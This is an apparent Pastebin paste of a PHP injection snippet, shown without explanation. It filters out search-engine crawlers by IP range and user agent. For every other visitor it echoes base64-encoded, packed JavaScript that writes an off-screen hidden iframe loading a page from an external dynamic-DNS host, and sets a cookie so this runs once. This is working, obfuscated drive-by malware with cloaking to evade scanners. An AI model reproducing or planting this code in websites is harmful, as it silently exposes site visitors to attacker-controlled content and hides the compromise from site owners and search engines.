Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. error_reporting(0);
  2. $bot = FALSE ;
  3. $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
  4. $stop_ips_masks = array(
  5.     array("216.239.32.0","216.239.63.255"),
  6.     array("64.68.80.0"  ,"64.68.87.255"  ),
  7.     array("66.102.0.0",  "66.102.15.255"),
  8.     array("64.233.160.0","64.233.191.255"),
  9.     array("66.249.64.0", "66.249.95.255"),
  10.     array("72.14.192.0", "72.14.255.255"),
  11.     array("209.85.128.0","209.85.255.255"),
  12.     array("198.108.100.192","198.108.100.207"),
  13.     array("173.194.0.0","173.194.255.255"),
  14.     array("216.33.229.144","216.33.229.151"),
  15.     array("216.33.229.160","216.33.229.167"),
  16.     array("209.185.108.128","209.185.108.255"),
  17.     array("216.109.75.80","216.109.75.95"),
  18.     array("64.68.88.0","64.68.95.255"),
  19.     array("64.68.64.64","64.68.64.127"),
  20.     array("64.41.221.192","64.41.221.207"),
  21.     array("74.125.0.0","74.125.255.255"),
  22.     array("65.52.0.0","65.55.255.255"),
  23.     array("74.6.0.0","74.6.255.255"),
  24.     array("67.195.0.0","67.195.255.255"),
  25.     array("72.30.0.0","72.30.255.255"),
  26.     array("38.0.0.0","38.255.255.255")
  27.     );
  28. $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
  29. foreach ( $stop_ips_masks as $IPs ) {
  30.     $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
  31.     if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
  32. }
  33. foreach ($user_agent_to_filter as $bot_sign){
  34.     if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
  35. }
  36. if (!$bot) {
  37. echo base64_decode("PHNjcmlwdD5ldmFsKGZ1bmN0aW9uKHAsYSxjLGssZSxkKXtlPWZ1bmN0aW9uKGMpe3JldHVybihjPGE/Jyc6ZShwYXJzZUludChjL2EpKSkrKChjPWMlYSk+MzU/U3RyaW5nLmZyb21DaGFyQ29kZShjKzI5KTpjLnRvU3RyaW5nKDM2KSl9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pe2RbZShjKV09a1tjXXx8ZShjKX1rPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKXtpZihrW2NdKXtwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKX19cmV0dXJuIHB9KCdyIG4oNSl7MyBiPVwnd1wnOzMgYz1oIGUoKTtrKDMgaT0wO2k8eDtpKyspe2NbYi5mKGk+PjQpK2IuZihpJnUpXT10LnEoaSl9NighNS5zKC9eW2Etdi05XSokL2kpKW8geTs2KDUuZyUyKTU9XCcwXCcrNTszIGw9NS5nOzMgNz1oIGUoKTszIGo9MDtrKDMgaT0wO2k8bDtpKz0yKXs3W2orK109Y1s1LkEoaSwyKV19byA3LnooXCdcJyl9Nig4Lm0uQyhcJ3A9ZFwnKT09LTEpezguQihuKFwnRFwnKSk7OC5tPVwncD1kXCd9Jyw0MCw0MCwnfHx8dmFyfHxkYXRhfGlmfHJlc3VsdHxkb2N1bWVudHx8fGIxNl9kaWdpdHN8YjE2X21hcHxlbmFibGVkfEFycmF5fGNoYXJBdHxsZW5ndGh8bmV3fHx8Zm9yfGxsfGNvb2tpZXxoRGNkfHJldHVybnxjb29raWVofGZyb21DaGFyQ29kZXxmdW5jdGlvbnxtYXRjaHxTdHJpbmd8MTV8ZjB8MDEyMzQ1Njc4OWFiY2RlZnwyNTZ8ZmFsc2V8am9pbnxzdWJzdHJ8d3JpdGV8aW5kZXhPZnwzYzY0Njk3NjIwNzM3NDc5NmM2NTNkMjI3MDZmNzM2OTc0Njk2ZjZlM2EyMDYxNjI3MzZmNmM3NTc0NjUzYjIwNmM2NTY2NzQzYTIwMmQzMTM5MzkzMjcwNzgzYjIwNzQ2ZjcwM2EyMDJkMzIzOTM5MzU3MDc4M2IyMjNlM2M2OTY2NzI2MTZkNjUyMDc3Njk2NDc0NjgzZDIyMzMzMDIyMjA2ODY1Njk2NzY4NzQzZDIyMzQzMDIyMjA3MzcyNjMzZDIyNjg3NDc0NzAzYTJmMmY2MjdhNmI2NTY2NzEyZTdhNzk2ZTczMmU2MzZmNmQyZjZkNjE2OTZlMmU3MDY4NzAzZjcwNjE2NzY1M2Q2MzM2Mzk2MjY0MzAzMjY1MzkzMzY1MzYzOTM1Mzc2MzIyM2UzYzJmNjk2NjcyNjE2ZDY1M2UzYzJmNjQ2OTc2M2UnLnNwbGl0KCd8JyksMCx7fSkpPC9zY3JpcHQ+");
  38. }